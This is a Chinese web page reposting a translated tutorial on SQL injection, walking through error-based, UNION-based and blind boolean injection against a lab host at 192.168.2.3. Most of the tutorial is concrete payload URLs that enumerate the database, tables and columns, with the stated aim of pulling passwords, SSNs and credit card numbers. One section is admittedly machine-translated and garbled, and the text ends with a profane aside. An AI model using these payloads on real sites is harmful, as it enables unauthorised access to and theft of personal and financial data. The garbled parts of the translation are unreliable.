好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

翻译:使用数据库注射技术 - 网站安全 - 自学

HdhCmsTest2cto测试数据:原pdf(带图片): http://up.2cto测试数据/2012/1120/20121120122511460.rar SQL数据注射是hacker通过网站的应用程序从WEB中获取敏感信息的基础的网络攻击手法。如今它是最常见的的应用性攻击手法。这种手法反常规的WEB应用代码,用过SQL注射命令使得hacker能够获取有用的信息。

 

SQL注射的地方是可以允许用户输入相关信息使得SQL的查询能够绕过或者有影响或者能够直接执行 数据库 命令。

 

举个例子来说,我们一般认为网站程序的登录表单存储用户的信息并且对于每一个尝试登陆的用户有一个简单的SQL执行语句,这就是一个典型的demo

 

Select * from users where username =’admin’ and password =’admin123’

 

如果一个攻击者知道了网站的管理用户是admin,t那么他就能够不输入密码就能够登陆。

 

Admin’—

 

那么最后的执行的语句就成了这样

 

Select*from users where username=’admin’—and password =’amdin123’

 

注释号后面的语句被忽略了,所以执行语句就等价于

 

Select*from users where username =’admin’;

 

所以密码的检查就被绕过了。

 

不同的SQL注射方式

 

显错模式:(in-band)

 

(out-band)

 

(inferior)

 

In-band:

 

首先就是注射点的判断

 

通过google我们能够找到不少这样的注射点

 

首先我们打开网站的首页

 

 

 

我们首先简单的通过在URL后面加上一个单独’来确定一下是不是注射点,http://192.168.2.3/’

 

页面出现错误[Error in your SQL Syntax].这是因为我们在URL后面加上的单引号被网站后台带入执行了查询。所以通过返回来的错误信息我们能够确定这是一个注射点。

 

 

 

如果单引号被阻止,我们可以试着尝试在URL的末尾处用or 1=1—

 

 

http://192.168.2.3/news-and-events.php?id=22 or 1=1 –

 

http://192.168.2.3/news-and-events.php?id=22 and 1=1 –

 

由于上面的查询语句永真,所以返回的页面信息是正确的。

 

现在我们在URL后面使用or 1=0—或者and 1=0 –

 

http://HdhCmsTest2cto测试数据 /news-and-events.php?id=22 and 1=0–

 

 

 

返回不正常的页面,因为or 1=0—是永假。

 

以下列出的字符串能够用作于确定注射点

 

 

 

你也可以尝试组合or a=a  根据我们已经试过的or 1=1 …像#,–,/*,…..

 

摘录

 

下一步,我们要使用UNION和select来获取数据库信息

 

找DBMS:

 

我们能够使用适当的数据库独有的特征来确定数据库的类型(ms-sql, mysql ,oracle)

 

MS-SQL:user_name()

 

MYSQL:user()

 

Oracle :select user from dual;

 

举个例子来说:

 

 

上面的URL给我们返回到错误信息是[Function user_name doesn’t exist].意思就是说数据库类型不是MS-SQL

 

 

 

那我们来试一下user()

 

 

上面的地址返回了usr name 所以我们确定这是数据类型是MYSQL

 

 

 

所以我们可以利用2,3,5,7处获取敏感信息

 

找出列数

 

我们试着找出列数用union,形如:http://192.168.2.3/news-and-events.php?id=22 union select NULL

 

页面返回错误说[Select statement having different number of columns]

 

那我们就知道了还有更多的列数在表中,那我们就不停的追加null

 

http://192.168.2.3/news-and-events.php?id=22 union select NULL, NULL, NULL, NULL, NULL, NULL, NULL.

 

直到页面返回正常

 

当然更为简单的办法是使用order by

 

http://192.168.2.3/news-and-events.php?id=22 order by 7–

 

然后使用http://192.168.2.3/news-and-events.php?id=-22 union select 1,2,3,4,5,6,7  ===============此处要注意22前面的-

 

 

 

 

 

 

获取数据库的版本和数据库名

 

 

 

 

回显信息可以得出版本是5.0 数据库名是nilakantatrust

 

获取数据库中的表名

 

查看nilakantatrust数据库中表名

 

http://192.168.2.3/news-and-events.php?id=-22 union select 1,group_concat(table_name),3,4,5,6,7 from

 

information_schema.tables where table_schema=database()—

 

 

 

爆出了所有的表名接着我们爆出列名

 

使用语句:http://192.168.2.3/news-and-events.php?id=-22 union select 1,group_concat(column_name),3,4,5,6,7 from

 

information_schema.columns where table_schema=database()–

 

 

 

 

 

爆出了[nilakantatrust]数据库中所有的列名我们从中找出像password,SSN ,creditcard number ,user等等

 

Out BAND(这一段不知道说什么直接google translate)

 

这样的攻击,使用两种不同的攻击者与应用程序之间的通信渠道。现代DBMS具有非常强大的应用程序和数据返回给用户的功能后面去。他们可以

 

,指示发送电子邮件和他们也可以与文件 系统 。所有这些功能是非常有用的攻击者。攻击者建立一个数据库,通过一个通道直接连接到插入到数据库中的数据或恶意字符串。 DBMS响应通过一个新的渠道,如电子邮件,或执行命令使用xp_cmdshell的等, ……

 

推测性注射

 

这里的服务器不会返回任何的错误和其他提示性信息,与正常的盲注很相似,当服务器收到攻击是不会发送任何的数据给攻击者。攻击者需要通过SQL命令利用正确和错误的访问来判断。

 

攻击者需要根据观察网站程序的反应来执行他的命令,这就使得SQL注射更加困难但也不是不可能。

 

现在我们来练习一下:

 

http://192.168.2.3/news-and-events.php?id=22 and 1=1 –

 

上面的URL返回和原始站点一样的页面

 

http://192.168.2.3/news-and-events.php?id=22 and 1=0 –

 

返回带有错误的页面,正如我们在(in-band)类型讲述的一样

 

查看数据库类型

 

我们来检测程序是不是用的是MSSQL使用的语法是

 

http://192.168.2.3/news-and-events.php?

 

id=21%2b(select%20case%20when%20(select%20user_name())%20then%200%20else%201%20end%20)–

 

我们来还原一下看得更清楚

 

http://192.168.2.3/news-and-events.php?id=21+(select case when (select user_name()) then 0 else 1 end )–

 

上面的URL的目的是我试着,在ID’21’条件基础上加上1,当我们访问ID21的url时候和ID22url是不一样的页面信息

 

%2b是+,%20是空格。这是URL编码,当一些特殊的字符和符号被过滤的时候,我们可以使用不同的编码来绕过。条件查询中使用的case语法操作user_name,如果预定义user_name可以找的话。则符合条件返回1.这样ID就等于22.返回的是ID=22的页面信息,如果没有查询到user_name,则返回0,这样ID+0还是21,页面信息还是ID=21时的信息。

 

 

 

图M可以看出没有返回ID22时的页面既没有使用MSSQL

 

 

 

那我们接着来看看是不是MYSQL呢

 

http://192.168.2.3/news-and-events.php?

 

id=21%2b(select%20case%20when%20(select%20user())%20then%200%20else%201%20end)–

 

上面的URL返回了ID=22时的页面,说明数据库是MYSQL

 

查看版本信息

 

我们使用MYSQL中的substring函数来查看版本信息

 

语法如下:http://192.168.2.3/news-and-events.php?id=22%20and%20substr(@@version,1,1)=5–

 

如果数据库的版本是’5′ ,然后substring函数返回( ’5′ ,因为我们正试图提取只有一个字符) ,当我们比较所得到的值与’5′ 。然后,如果我们能够看到的主页,我们可以确认该数据库是类似5.xx的版本。

 

如果上面的url没有指向主页,那我们改变一下比较的数值4或者3==

 

为了确定数据库的更多信息我们需要比较数据库的第二个字符。语法

 

 

 

查询数据库的用户名

 

我们通过CASE和substring语法一起使用查询数据库的用户名

 

例如:

 

http://192.168.2.3/news-and-events.php?

 

id=22%2b%20(select%20case%20when%20(substr(user(),1,1)=’a’)%20then%200%20else%201%20end)–

 

整理一下:

 

http://192.168.2.3/news-and-events.php?id=22+ (select case when (substr(user(),1,1)=’a’) then 0 else 1 end)–

 

基于应用程序的响应,不断改变的功能SUBSTR( )中的字符。

一旦我们得到的用户名的第一个字母,然后将找到的第二个字母

 

另外继续找

 

substr(user(),2,1)=’r’

 

substr(user(),3,1)=’b’

 

在这种方式中,找出一个单字符的用户名,我们不得不把超过200次请求发送到服务器上匹配可能的ASCII字符。这种技术可以优化,我们可以提取从一个单独的数据库字符在8次请求内,目测应该是二分法,谁知道呢,总是翻译完了!!FUCK

 

查看更多关于翻译:使用数据库注射技术 - 网站安全 - 自学的详细内容...

  阅读:39次